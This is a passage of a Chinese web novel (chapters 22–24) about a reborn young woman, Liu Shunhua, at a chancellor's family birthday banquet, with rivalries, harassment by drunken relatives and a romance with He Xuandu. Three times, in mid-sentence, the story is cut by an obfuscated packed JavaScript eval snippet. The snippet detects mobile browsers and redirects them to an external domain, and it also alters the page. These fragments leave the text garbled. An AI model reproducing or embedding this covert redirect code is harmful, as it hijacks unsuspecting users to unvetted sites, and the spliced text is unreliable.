一旁有人问:“我听闻平阳王府与相府一向不对付,怎么相府也下了帖子?” 有人轻笑,“哪里是下了帖子,郡主她这是不请自来,没有进门,只是马车停在外面。” “那就奇怪了,相府未请,她一个郡主,何必惹这种流言?会不会只是平阳王府的马车,碰巧路过而已。” 有人轻笑道:“方才我进来时,正巧看到马车帘子掀开一条缝,坐在里面的好像就是妉柔郡主。” 有初到长安,不明所以的,听她们语气似乎有些故事在里头,按捺不住,“好姐姐,你们快说说,这里头有什么我不知道的。” “也罢,反正这也不是什么隐秘。一直就有流言,说这些年妉柔郡主与相府大公子两情相悦。只是碍于两家关系,才一直拖着。这不,眼瞅着大公子到了适婚的年纪,相府夫人开始张罗起了婚事。我猜啊,郡主多半是坐不住了。” 柳舜华没想到刘妉柔会突然出现,看来她一定很喜欢贺玄晖,才会为了他,连名声都不顾。 她正想着,转眼瞥见众人纷纷起身,原来是贺容暄先到了。 柳棠华望着来人,悄声惊羡道:“她就是相府小姐啊?” 柳舜华点头。 贺容暄生得美艳,眉若远山黛,一双凤眸带着张扬,圆润的脸上肌肤细腻,宛似一朵富丽的牡丹花。今日又特意穿了茜色团花曲裾袍,外罩一件霞光襌衣,风姿绰约,明艳异常。 她笑着向众人示意,“都是自家姐妹,不必客气。” 说罢便朝前排走去,经过柳舜华身侧时,有意无意地瞥了她一眼,倒是跟在她身后的李舒君朝她笑了笑。 这时有人道:“贺小姐,怎么还不见老寿星出来?” “是啊,我们都等着向老寿星贺寿呢!” 老夫人和善,对待晚辈一向温和,世家贵女常来走动的,都对其敬重有加。 贺容暄笑吟吟道:“你们急什么,祖母在后堂陪着各家夫人们说话呢。待会过来,有你们磕头的机会。” 几人跟着打趣:“只要老寿星喜欢,多磕几个又何妨。” 贺容暄笑着仰起头,扫了一圈,目光落在柳舜华身上片刻,缓缓移至桌上的点心上。 “柳小姐,这是来得匆忙未用早膳,还是没有见过这些,一时忍不住了?” 柳棠华特意听了柳舜华的话,每盘只拿了一个点心果子,原也不明显,可贺容暄还是发现了。 她这么一说,众人目光纷纷投过来,盯着两人打量。 老夫人随和,以往柳舜华帮忙操持寿宴之时,女眷们也都不至于拘着。 开席前吃一两块点心,本也无伤大雅。 但贺容暄刻意引来众人关注,多少还是有些令人难堪。 柳棠华手中还捏着的果子忙缩进袖中,一时无措。 她抬眼看着柳舜华,一副犯了错的样子。 柳舜华拍了拍她的肩膀,抬头灵巧一笑,“贺小姐真是目光如炬,这才吃了两个果子,就被你逮到了。” 众人听罢,一个个捂嘴笑了起来。 李舒君也忍不住看向柳舜华,这个柳小姐,当真有意思。 贺容暄暗讽她上不得台面,她却也不恼,只一句话便巧妙化解,既回击了贺容暄,直指她小题大做,又语气俏皮,让人挑不出错。 贺容暄笑容一僵,随即道:“柳小姐说笑了,这些点心果子我们相府有的是。不过是些寻常之物,柳小姐若是喜欢,放开了吃便是,我们相府管饱。” 贺容暄身旁的贵女会意,附和道:“想来是小门小户的,平日里没机会来相府啊,今日可不是要吃饱喝足,才不枉来上一回。” 这话说得着实过分,柳棠华实在听不下去。 她到底年纪小,受不得气,立时站出来怒道:“你说什么呢?我们今日来,是相府下的帖子。我们真心实意来贺寿,你们却屡次出言奚落,真当我们都听不出来吗?” 她直向贺容暄,“贺大小姐,这便是相府的待客之道吗?” 贺容暄被她当面抢白,气得指着她怒道:“你……你放肆,这里是相府,岂容你在此撒野。” 柳舜华将柳棠华拉在身后,望着上位的贺容暄,“舍妹年纪小,心直口快,不过就是几句宴席间的玩笑话,贺大小姐何必动怒。何况,今日是老夫人的寿宴,大家都是欢欢喜喜来贺寿,还是莫要让这些不快传出去,惹得有人胡乱嚼舌根才好。” 贺容暄挑衅抬眸,好个柳舜华,竟敢威胁她? 正僵持不下,突听一声“老夫人来了。” 众人哗啦啦地起身,静候老夫人。 老夫人被人搀着,迈了进来,灰白的发丝透着柔和的光,一脸慈悲。 柳舜华眼眶微润,随着众人行礼,待落了座,才瞧见老夫人身边之人。 左边那位看起来四十左右的年纪,风韵犹存,一身锦绣,珠光宝气,正是丞相夫人陈氏。右边站着的,是位年轻貌美的妇人,柳舜华并不认识。 柳舜华有些伤感。前世,这种场合,陪在老夫人身边的都是她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655832|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可今生她已做了选择,有取便有舍,此生注定与老夫人缘浅。 老夫人坐定,问道:“方才你们在吵嚷什么呢?” 贺容暄挨着老夫人坐下,“祖母,没什么,就是有只淘气的野猫,偷吃了几个果子。” 在座的众人自然知道怎么回事,听贺容暄一说,有几个忍不住笑了起来。 柳棠华气得双脸涨红,从袖中掏出藏起的半块糕点掷回盘中。 今日来此,柳舜华本做好了被刁难的准备,若是贺容暄为难她也就罢了,可她不该这样三番两次的戏弄棠华。 柳舜华起身,朝着老夫人施礼,语气轻柔,“老夫人见谅,原是我不懂事,看到这道葡萄软糕,一时喜欢,忍不住尝了一块。舜华鲜少出入这等盛会,不知规矩,还望勿怪。” 葡萄软糕是老夫人最喜欢的点心。 上辈子,老夫人病重时,太医吩咐尽量不要多食甜腻之物。 柳舜华一直贴身伺候,便时时刻刻提防着老夫人。 有一回,老夫人背着她偷吃,见她冷不丁地过来,一时吃得急了,还险些噎着。 果然,老夫人听到葡萄软糕,笑了起来,“一块糕点而已,什么规矩不规矩的。这道葡萄软糕是我最喜欢的点心,特地摆出来,就是想让你们一起尝尝。今日是我的寿辰,我说了算。离开宴还有些时辰呢,你们这些小娃娃,若是饿了,或是喜欢吃什么,放心大胆地吃,别整日里拘着。” 听老妇人如此说,贺容暄脸色一黯,方想张口,被丞相夫人一个眼神挡了回去。 这时,老夫人右边的年轻妇人随手捏起一块葡萄软糕,尝了一口,笑着点头道:“还得是来祖母寿宴,不然哪能吃到这么好吃的糕点。我未出嫁前,就喜欢吃这个,如今回来,一看到就忍不住想吃。我出身山野,不懂什么礼数,姐妹们可莫要笑话我才好。” 她唤老夫人祖母,却称出身山野? 柳舜华终于想起她是谁。 贺家真正的大小姐,贺容华。 贺容华也是陈氏与贺留善所生,不过却是在贺留善未发迹之前。 当时陈氏未婚生子,为免惹人非议,便将贺容华寄养在乡下。 这一放便是十年,直到陈氏坐稳丞相夫人之位,贺容华也到了成婚的年纪,才被接回。 被接回相府不过半年,贺容华便嫁给宣平侯世子。 之后不知发生了何事,就在柳舜华嫁入相府不久,本就同相府疏远的贺容华,彻底与相府断绝了往来。 所以上辈子,柳舜华从未见过这位大小姐。 贺容华此话一出,丞相夫人脸色顿时沉了下来。 她最爱面子,如今被当场撕破遮羞布,哪能不气。 可偏偏是自己的亲女儿,她又亏欠良多,不得不拼命忍下去。 这个大女儿,就是她命里的克星,总是时刻提醒她那段不体面的过往。 见老夫人与贺容华都如此说,众人哪里还顾得上其他,纷纷拿起面前的葡萄软糕,不管喜不喜欢,先交口称赞起来,一个个吃得喜气洋洋。 柳棠华方才憋在心中的闷气一下散了,脸上终于有了点笑意。 柳舜华眼光一瞥,见贺容华正举着葡萄软糕向她微笑示意。 不知道是不是错觉,柳舜华总觉得,贺容华有意在帮她解围。 贺容暄气得不轻,碍于祖母在场,也不好发作,只恨恨地盯着柳舜华。 老夫人目光望向柳舜华,若有所思。 半晌,她指着柳舜华问道:“你是哪家的?” 柳舜华起身,回道:“城西柳家,新晋的鸿胪寺丞柳桓安,是我兄长。小女名柳舜华,今日携舍妹柳棠华来为老夫人贺寿,愿老夫人福山禄海,日月昌明。” 老夫人笑着点头,仔细端详了一会。 的确是个模样极好的姑娘。 一件浅缥衣裙,一根绿松石发簪将发丝挽起,虽是清清淡淡,却更衬得肌肤似雪,仙姿佚貌。整个人静静地立着,神态从容,一双眸子干净明亮,秋水般澄澈。 老夫人赞道:“柳舜华,人如其名,长得也好。” 又向着众人道:“今日真是有福,有这么多水灵灵的丫头陪着我。” 众人心喜,围着老夫人说笑了好一阵,才等到开席。 一时间金碟玉盏堆满桌,百味佳肴齐飘香。 因着点心果子之事,柳棠华面对满桌的美味,也只是略微夹了几口,生怕再给柳舜华惹事。 柳舜华捡她喜欢的,给她夹了一些,安慰道:“没事的,放心吃,有老夫人在,没人敢惹事生非。” 柳棠华这才放心,放开吃了起来。 老夫人今日高兴,喝了几杯酒,闲坐了片刻,酒意涌上来,到底有些精神不济,便要起身离席。 丞相夫人忙上前去扶:“母亲,我陪您回去歇息吧!” 老夫人淡声道:“你是主家,哪能就这么走了,这些宾客还劳你照看呢。” 说罢,便由人搀着离开。 走至柳舜华跟前,老夫人突然停住了,对着柳舜华道:“柳小姐,若你不嫌弃,还有劳送送我这个老太婆。” 柳舜华惊诧抬头,对上老夫人那双古沉的眼眸。 她知道,老夫人已经认出她来了。 23. 第 23 章 柳舜华起身,看了看棠华,若留她一人在,她着实有些不放心。 老夫人看穿她的心思,对着身侧的嬷嬷道:“这位小姑娘瞧着很喜欢吃糕点,你带她去点心房挑一些,留着她们回去路上吃。” 柳棠华一听,双眼放光,望向柳舜华。 得了柳舜华首肯后,迫不及待地跟着嬷嬷离开宴席。 时隔多年,柳舜华又一次握上了老夫人的手。 那双手已经不太柔软,可却依旧温暖,让人心安。 柳舜华垂眸,极力忍着,不让自己掉下泪来。 她搀着老夫人一路离开宴席,待行至僻静处,老夫人脚步不觉慢了下来。 老夫人示意跟着的老嬷嬷离得远些,这才开口:“姑娘,那日在街上,救我的是你吧。” 柳舜华早猜到老夫人认了出来,遂笑道:“老夫人好眼力。” “生死关头,眼睛自然看得清。”老夫人携了她的手,“此前我虽有心酬谢,却苦于不知去何处寻你,又怕你有什么顾忌,便就此作罢。如今倒好,你上门来,反倒让你在这里受了委屈,真教我过意不去。” 柳舜华摇头,诚挚道:“老夫人方才已经帮我说了话,哪里受什么委屈了。能再次见到老夫人,我心底不知多欢喜呢。” 老夫人拉着她的手,越看越欢喜,这么好的姑娘,她真恨不得天天有她陪着。可惜啊,终归不是自家的姑娘。 “你那日可是有什么难处,不便向外吐露?若是有为难之处,大可说于我听,我虽说一大把年纪,不太中用了,但到底还是能说上话的。” 柳舜华不知要如何与她解释,又怕拂了老夫人的好意,只道:“老夫人放心,我一切都好。只是我有一些不足为外人道的因由,那日外出之事,不想被人知晓。” 老夫人懂了,便也不再追问,只道:“你既不想说,我自不会勉强。我还是那句话,以后若有为难之处,可随时差人来找我。” 她一下红了眼眶,拼命忍下眼泪,垂首点头。 今日一别,此生只怕再难相见。 拜别老夫人,柳舜华拒了相送的婢女,一路落落寡欢,独自返回宴席。 再一抬头,才发现走错了地方。 她这个方向,正是往西竹院的去向。 恍恍惚惚,她竟又以为还是前世,下意识地朝西竹院走。 她顿住脚步,抬脚便匆匆离开。 方走几步,便听到阵阵舞乐之声,透过一带稀疏的花枝,正瞧见隔岸良园内,十几个乐女抚弄着琴弦古筝,起舞蹁跹,以助酒兴。 她这才记起,今日男宾设宴在良园。 若是被发现,只怕有些不妥,她正欲离开,却在看到一道熟悉的身影后,停了下来。 宴饮已过半,宴席上一个个推杯换盏,独贺玄度斜坐在案前,独自畅饮。 此时,一个醉酒的男人正眯着眼盯着眼前的舞姬。待舞姬跳至跟前,他突然伸出一只脚。舞姬一时不防,一下跌倒在他怀里。 在座之人纷纷笑了起来。 舞姬慌乱着想挣脱,却是徒劳。 贺丞相端坐在亭内,正与柳桓安饮酒畅谈,权当看不见。 柳桓安眉头皱起,目光不时瞥向远处。 那男人正搂着舞姬动手动脚,忽而感觉脑袋被什么砸了一下,忙撒开手去摸头。觉察到并无大碍,他低头一瞧,才发现砸他的东西竟是一枚青皮果子。 “谁,是谁砸的?”他叫了起来。 这一嚷,周遭立时静了下来,齐刷刷地望向地上那枚果子。 也不知谁那么大胆,眼前这个可是贺丞相的小舅子,丞相夫人最宠的幼弟,陈光祖。 陈光祖出生晚,只略比贺玄晖大十岁,名义上虽是丞相夫人的弟弟,实际却是由她一手带大,便说是儿子也不为过。 他仗着丞相夫人疼爱,这些年在长安横行无忌。不过,他那些乌糟事,多半由丞相夫人替他及时善后,倒也没掀起多大风浪。 贺玄度慢悠悠起身,居高临下看着他,“我砸的。” 陈光祖愣了一下,随即恼:“就凭你,也敢砸我?” 贺玄度冷哼一声,“你睁眼看清楚了,这里是贺家,不是你们陈家。” 陈光祖一把推开舞姬,猛地起身,仗着醉酒口无遮拦,“你算个什么东西,贺家是我姐夫姐姐说了算,轮得到你指手画脚?” 贺玄度丝毫不弱,“就凭我姓贺,就轮不到你在这里撒野。” “吵什么,大庭广众之下,也不嫌丢人?” 眼见事情闹大,贺丞相终于坐不住了。 陈光祖指着贺玄度,抢先道:“姐夫,好端端的,他拿东西砸我。” 贺玄度冷声道:“那是他活该。” 贺丞相瞥了一眼贺玄度,“光祖怎么说也是你舅舅,是你的长辈,你一个小辈,怎可如此造次?” 贺玄度不屑一笑,“舅舅?他算我哪门子舅舅。我舅舅在凉州,是人人称赞的万都尉。” 贺丞相怒斥一声,“住口。” 尽管相距甚远,柳舜华依然感受到了贺丞相的怒气,不由得替贺玄度捏一把汗。 贺丞相一向喜怒不形于色,柳舜华也诧异,贺玄度究竟说了什么,怎么就触怒了他。 贺玄度置若罔闻,目光扫过陈光祖,“我舅舅清正廉直,有什么提不得的。就他这个窝囊废,还不配做我舅舅。” “竖子!” 贺丞相大怒,抓起一只酒杯朝着贺玄度掷去。 “咣当”一声,杯盏落地。 贺丞相也愣了,这一次,贺玄度竟没有躲开。 贺玄度直直地站在那里,举手摸向额头,许久,他缓缓放下手臂。 鲜血染红了他的双手,额上一片猩红。 人群中,不知是谁叫了一声,贺丞相才反应过来,沉声道:“愣着干吗,还不滚下去治伤。” 贺玄度没有动,只是静静看着贺丞相,眼中没有怨恨,亦也不见丝毫委屈。 眼神空洞又无力。 半晌,他垂眸轻笑一声,“劳父亲费心,我这就滚。” 因隔得太远,柳舜华听得不甚清楚,却瞧见贺玄度额头上鲜血淋漓。 她心急如焚,却不好上前,等贺玄度出了园子,才跟了上去。 贺玄度走得很快,越走越偏,穿过一个洞门后,便消失不见。 柳舜华四处寻了一圈,依旧不见人影,猛一抬头,整个人怔住了。 前面是,西竹院。 结草的灰瓦,斑驳的青墙,寂寥的院落中,一树海棠花开葳蕤。 破旧的木门深掩,遮住昔日的愤恨与不甘。 她胸中一阵淤堵,却还是忍不住向前走了几步。 院门并未上锁,轻轻一推便开了。 一道人影倏忽穿过,吓得她猛地往后一缩。 “柳舜华,怎么是你?” 柳舜华心怦怦直跳,扶着门框站定,才瞧清眼前之人是贺玄度。 她抚着胸口,惊魂未定,“我还要问你呢,你躲在这里做什么?” 贺玄度挑眉笑道:“你怎么知道我躲着,你跟踪我?” 柳舜华顺手关上门,走上前去,“谁跟踪你,我迷路了。” 贺玄度拎起手中的酒坛,“要不要一起喝一杯?” 柳舜华没搭话,歪头瞧着他额头上的伤。 她才将手帕掏出,贺玄度便一把将血抹了下来,摊在她面前,“假的,鸡血。我这里还有几个血包,很好用的,你要不要一个?” 柳舜华递帕子的手微微一顿,竟然是鸡血。 她默然无语。 差点又忘了,这才是如今的贺玄度。 她叹了口气,将帕子掷他怀里,“你也不嫌脏,擦擦吧。” 贺玄度拿过帕子,将手仔细擦了一遍,小心折起放进怀里。 柳舜华坐在廊下,对着院子发呆。 当初,老夫人去世后不久,贺玄晖看她碍眼,便随便找了个理由,将她挪到此处。 虽说远离了丞相夫人,不必再看她脸色,也少了许多刁难,但却要应付那些不开眼的丫鬟小厮,日子也并没有轻松许多。 那段日子,是她这辈子最灰暗的时刻。 不过还好,她遇上了贺玄度。 贺玄度走过来,坐在她身旁,“你看什么呢?” 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699747|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舜华转身问道:“这里一直这么荒芜吗?” 她记得,当初她搬进来时,这里虽有些破旧,可却远没如今荒凉。 贺玄度沉默片刻,缓缓望向院中的海棠,“这里,是我母亲住过的地方。” 柳舜华惊愕,从未有人告诉过她,西竹院曾是先夫人的居所。 一瞬间,前世种种纷纷涌来,她飞快在脑海中梳理着其中细节。 贺玄度之母,丞相府先夫人万氏,并不得贺丞相欢心。贺丞相一直以来属意的,只有如今的夫人陈氏。万氏搬到了西竹院,郁郁而终,陈氏后来居上,成了正经的夫人。 她突然有些懂了,上辈子贺玄度愿意帮她,多半是因为她的遭遇与他母实在过于相似,才让他一时动了恻隐之心。 柳舜华回过神来,好像想起了什么,“那这么说,你也在这里住过了?” 贺玄度点头,“母亲去世前,我一直住在这里。” 一刹那,柳舜华突然感受到了一股难以言说的奇异。 原来上辈子,贺玄度也曾住过这里。 对于这点发现,她内心抑制不住地激动,仿佛同贺玄度又近了一分。 她仰起头,语气颇为兴奋,“你小时候是什么样子,在这里过得如何?” 贺玄度垂头看着柳舜华,她一张鹅蛋脸微微抬起,目光温柔又殷切。 他笑了笑,仰头看着院落上高远的天空,晃悠着一双无处安放的长腿,“我小时候,自然是生得粉雕玉琢,人见人爱。” 柳舜华看着一脸狂放的贺玄度,张了张嘴,又缓缓闭上。 贺玄度的容貌自是无可挑剔,面如冠玉,一双桃花眼弯弯如月,不笑时亦带几分流转的春色,勾人心魄。 明明是同一张脸,却又判若两人。 上辈子因他过于清冷,周身仿若总覆着一层冰霜,让人很难仔细端详他的面容。是以这辈子,柳舜华每次想起贺玄度时,脑海中他的面容总是模糊的。 见她不说话,贺玄度用手肘碰了碰她,“你不说话,是不是觉得我还不够俊?” 柳舜华无奈,哑然失笑,“我是问,你小时候在这里过得如何?” 贺玄度歪头笑道:“胡说,你第一句,分明是问我小时候什么样。” 柳舜华不语,垂头轻笑。 她已经渐渐习惯了他的不着边际,只能由着他。 光影错落,交叠在她发间,她脸上是明媚的艳丽。海棠花瓣萦绕在她裙边,无边春景黯然失色。 贺玄度突然凑过去,直勾勾地望着她,“柳舜华,你是不是喜欢我?” 柳舜华浑身一震,猛地转过头,正对上他那一双水汪汪的桃花眼。 她从他眸中,看到了自己的仓皇无措。 风吹着荒草伏倒在她脚边,痒得人心乱。 她开口已是方寸大乱,“你胡说什么?我要走了。” 贺玄度按着她裙摆的手还未及抽开,柳舜华便已起身,仓皇间整个人倒了下去。 她身体腾空,双手忙下意识地乱抓,很快便摸到了结实的地面。 很奇怪,她摔了下去,却并不觉得多疼。 “快点起来,脚……支撑不住了。” 柳舜华垂头一看,贺玄度正费力伸出一只脚挡在她的背上,才让她没摔在地上。 她狼狈极了,忙爬起来,整理好衣衫,转身便想跑。 贺玄度收回脚,勾唇一笑:“我同你说笑呢,你跑什么啊。” 柳舜华忙向他行礼致谢,慌慌张张便想逃离。 脚还未迈出,她整个人便被拎了起来,拽到角落里。 柳舜华被按在墙上,吓得不停挣扎,拼命捶打着贺玄度。 “别动,有人。” 窸窸窣窣的脚步声响起,有人推门走了进来。 头顶传来贺玄度细微的呼吸,他的下巴正抵在她的头上。 贺玄度怕墙壁撞疼了她,手臂一圈,将她紧紧揽在怀里。 她整个人埋在他胸前,有些喘不过来气,微微扭动了一下身子,突觉一道温热粗重的呼吸落在耳畔,抬头一看,贺玄度眼中已是灼热一片。 她身子一僵,一动也不敢动。 24. 第 24 章 “郡主为何今日突然出现?”男子轻柔的声音响在院落。 是贺玄晖与刘妉柔。 贺玄度与柳舜华皆是一惊,目光不期碰在一起。 从彼此眼中看到一丝震惊后,碍于眼前紧贴在一起的尴尬,双双默契地移开视线。 刘妉柔声音缱绻:“自然是……这里有我想见的人。” 贺玄晖淡声道:“若要相见,下次你可以提前通知我。” 刘妉柔满不在乎,“怎么了,贺大公子,你好像不喜欢看到我。” 贺玄晖沉默片刻,说道:“没有,只是郡主出现得过于突然。你一身下人装扮混进来,若被人发现,难免又要惹人非议,我是为郡主的名声着想。” 刘妉柔轻哼一声,“名声这种东西,最是无用。也就你们相府,不管内里如何,面子上无论如何都要过得去。” 这话虽直白,却说到了柳舜华心坎上。她原以为刘妉柔是个娇柔可人的美人,没想到言语竟如此犀利。 贺玄晖声音冷了下来,“还请郡主慎言。如此当面指责议论,实在有损郡主气度。” 刘妉柔淡声道:“你们相府如何,我不关心。我就是想问你,我们之事,你是如何打算的?是准备向你父亲争取,还是准备与我恩断义绝?” 贺玄晖久久无言,半晌后才道:“郡主今日来就是为了说这些? 却听刘妉柔道:“我过来,是想提醒你,我们之间的事,你要有分寸。还有,你母亲近来对你的亲事可是热络得很,你可莫要遭不住她的软磨硬泡,轻易娶了旁人。” 贺玄晖声音听不出任何情绪,“我知晓,你不必亲自跑来这一趟。” 刘妉柔娇笑一声,“你记得便好。” 两人说着,又往门边走了走,声音越来越小…… 直至关门声响起,脚步越来越远,院内终于静了下来。 贺玄度这才退后一步,放开柳舜华。 “事出突然,还望柳小姐勿怪。” 柳舜华一颗心碰碰直跳,身上还残留着他的气息,不同于前世清冷的荷香,而是一种无孔不入,铺天盖地灼热的馨香,像是陷入一场春日桃花雨。 她脑中早乱做一团,胡乱地点头。 突然贺玄度轻嘶一声,伸手按住脖颈处。 柳舜华下意识望去,只见贺玄度脖子上布满抓痕,一条条红印格外醒目。 她上前一步,关切道:“你没事吧?” 贺玄度将脖子伸到她跟前,“你说呢,下这么重的手,都出血了吧。” 柳舜华理亏,方才一时慌张,下手确实没有分寸,不想给他抓成这样。 她慌道:“要不要找个医士瞧瞧?” 贺玄度拉高衣领,盖住红痕,“若是让人知晓,不知又要传出什么风言风语,晚些我让洪声寻了药膏涂抹一下就好。” 柳舜华垂眸不语,他这伤处,确实有些让人难以言说的暧昧。贺玄度风评一向不好,若是再被有心人造言诽谤他祖母寿诞之日行荒淫之事,那他可真的是无立锥之地了。 她满脸歉意:“都是我不小心,对不起。” 贺玄度一笑,“这也没什么,下次小心一些便是了。” 柳舜华听他说下次,脸上倏忽一红,慌忙道:“你……你胡说什么呢?” 贺玄度随手拿起荒草丛埋起的酒坛,跨坐在廊下石阶上,“知道我爱乱说,还不快些走。再晚些,等有人寻到这里,你就说不清了。” 经他一提醒,柳舜华才觉她的确出来太久了。 怕柳棠华担心,她匆匆告别。 “柳舜华。”贺玄度突然叫住了她。 柳舜华回头看向贺玄度,他坐直了些,咳了声,“那个,过几天我要外出一趟。” 柳舜华一时没有反应过来他话里的意思,脸上带着几分茫然。 贺玄度也不知自己为何会叫住她,又为何同她说这些。 他突然有些尴尬,眼往下一瞥,“你……你脚下有块石头,毛毛躁躁的,走路也不看着点路。” 柳舜华垂头一看,脚边确实有块小石子。 她愣了一下,有些摸不着头脑,还是点头致谢。 出了西竹院,柳舜华回头,静静看着曾经住过的地方。 想到前世,她曾同贺玄度一样居住过这个地方。又想到方才……,柳舜华脸上飞红,昔日憋屈之感,竟有几分消减。 在相府生活三年,柳舜华对相府的路再熟悉不过。 她特意绕开良园,抄了个近道,往东苑宴席上去。 走了百余步,方要转过小路,便听到女子呼叫声。 这声音,柳舜华一怔,是妙灵。 前世,她嫁进相府时,只带了芳草一个丫头,丞相夫人安排的丫头也不甚不得力,老夫人便把自己身边伺候的妙灵给了她。 妙灵待她极好,在西竹院那段无人问津的日子,全靠她上下打点。因曾是老夫人身边之人,每每有求于贺玄晖之事,妙灵总会跑去周旋。 柳舜华快步走了出来,正瞧见一个男子对着妙灵动手动脚。 真是冤家路窄,又是丞相夫人的侄子,陈嘉良。 柳舜华心下鄙夷,陈家着一对叔侄,上行下效,真是一样的货色。 “妙灵,你怎么在这呢?”柳舜华喊道。 听到有人坏了自己好事,陈嘉良一脸不耐地转身。 看到柳舜华那刻,他瞬间换了副脸色,对着她毫无顾忌地上下打量起来。 柳舜华忍住恶心,朝妙灵道:“老夫人吃了酒,就等着你的醒酒汤呢,还不快些去准备。” 妙灵正被陈嘉良缠得脱不开身,眼见一个仙子般的救星,顾不得想她为何认识自己,忙跑了过去。 陈嘉良双手一挥,旁边的两个小厮便伸手拦住了她们的去路,他随后醉醺醺地跟了上来。 柳舜华冷眼瞧着他,“陈公子,妙灵可是老夫人的人。今日是老夫人的寿辰,你却这么明目张胆地动她的人,不怕得罪了老夫人?” 这里偏僻,少有人行,况今日丝竹琴乐不绝,便是呼叫,也不会有人听到。她只能寄希望于搬出老夫人,将他吓退。 陈嘉良眉头一皱,揉了揉额头,贼笑道:“我想起来了,我见过你。上次你帮贺玄度的时候,也是拿老夫人压我。” 柳舜华拉着妙灵往后退了一步,“妙灵本就是老夫人屋里的,不信,你大可去问。” “好,她是老夫人屋里的,我动不得,我放了她。”陈嘉良三角眼眯起,“可是你,今日是跑不掉了。” 说罢,他便生扑了过来。 柳舜华大骇,忙闪躲开,“你放肆,我是……” 到嘴的话突然停住了,情急之下,她下意识想以相府长媳的身份来压他,却发现,如今她早已与贺玄晖毫无干系。 陈嘉良一双鼠眼像看猎物一样瞧着她,“哦,你是谁,倒是说啊?整个长安,哪家权贵之女我不认识,你休想蒙我。” 妙灵受了惊吓,浑身颤抖,却还是颤巍巍地挺身挡在柳舜华身前,“陈公子,今日是老夫人寿辰,来的皆是贵客。你若在此惹事,得罪贵客,不怕相爷怪罪吗?” 陈嘉良脸色一沉,一巴掌扇在妙灵脸上,“你算个什么东西,今日宴席之上,贺玄度那个废物都奈何不了我们陈家,哪轮到你一个下人对我指手画脚。” 柳舜华忍无可忍,不管不顾,反手一巴掌回了过去。 这个时候,若是她还权衡利弊,那她和妙灵这些年的情谊,可当真是喂了狗了。 陈嘉良捂住脸,不可置信地看着柳舜华。 他一双眼里喷火,怒道:“你个小贱妇,也敢动手打我?” 说着,他一双手便朝她挥了过来,仓皇之中,柳舜华将头上的发簪拔下,紧紧握住手里。 陈嘉良挥出去的手被人按在半空,柳舜华抬头望去,看到了贺玄晖。 贺玄晖面无表情,猛地用力一带,陈嘉良一个趔趄,摔倒在地上。 柳舜华愣愣地看着贺玄晖,没想到他会突然出现。 贺玄晖看都没看地上的陈嘉良,径直走向柳舜华,关切道:“柳小姐,你没事吧?” 柳舜华有些恍神。 上辈子,她出手教训了陈嘉良,险些被他打回去。 贺玄晖撞见后,只是轻描淡写呵斥陈嘉良几句,并没有关心她是否受伤。 她突然觉得有些可笑。 原来,只要不是他的妻子,她也能像其他任何人一样,得到他的温柔与悲悯。 陈嘉良从地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726488|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬起来,冲着贺玄晖嚷道:“玄晖,你做什么?我可是你表兄。” 贺玄晖转头冷声道:“表兄,今日是我祖母寿宴,你这样惹是生非,将我们相府置于何地?” 陈嘉良揉了揉被扇得发烫的脸,“我没想惹事,是这个臭丫头,她打了我,今日我定不能饶了她。” 贺玄晖淡声道:“是你惹事在先。” 陈嘉良酒壮人胆,怒道:“贺玄晖,你帮谁啊?我还以为你多清高,没想到一样色令智昏,见到个貌美的,便连兄弟都不要了。” 贺玄晖浑身一震,声音冷得冰雪里浸过一般,“你再乱说,休怪我不讲情面。” 陈嘉良笑了几声,开口便是酒气熏天,“好啊,咱们这就到姑姑跟前说理去。你为了一个小贱人,竟然连亲表兄都打。” 贺玄晖瞥了他一眼,对着左右小厮喝道:“他喝醉了,带他下去。” 小厮们看了看陈嘉良,并未敢动。 贺玄晖厉声道:“你们都聋了不成?” 那几个小厮何曾见过贺玄晖如此模样,忙架着陈嘉良往宴席上去。 柳舜华也有些发怔,印象中贺玄晖一贯面上温润有加,内心波澜不惊,仿佛所有的人与事都与他无关。可如今看贺玄晖对陈嘉良的态度,分明是厌恶至极,浑无上辈子那种兄弟间的亲厚。 陈嘉良不停挣扎,他喝了酒,力气极大,几个小厮又不敢下重手,很快便被他脱身。 他指着柳舜华,不依不饶,“今日这一巴掌,我定要打回去,谁也休想拦我。” 柳舜华脑海中飞快盘算着应对之策,若陈嘉良不依不饶,她只有将事情闹大了。今日贵客云集,丞相定不会当着众宾客的面包庇他这么一个登徒子。 只是如此一来,势必会让丞相府脸面有损。兄长婉拒丞相拉拢,一定会让贺丞相心生嫌隙。若再来这么一出,他们柳家与丞相府的梁子,算是结下了。 她不能连累兄长,必须要想一个两全其美的法子。 “她的脸也是你能打的,你可真是狂妄至极。” 花丛中缓缓走来一人,裙据飘扬,眉目间满是不屑。 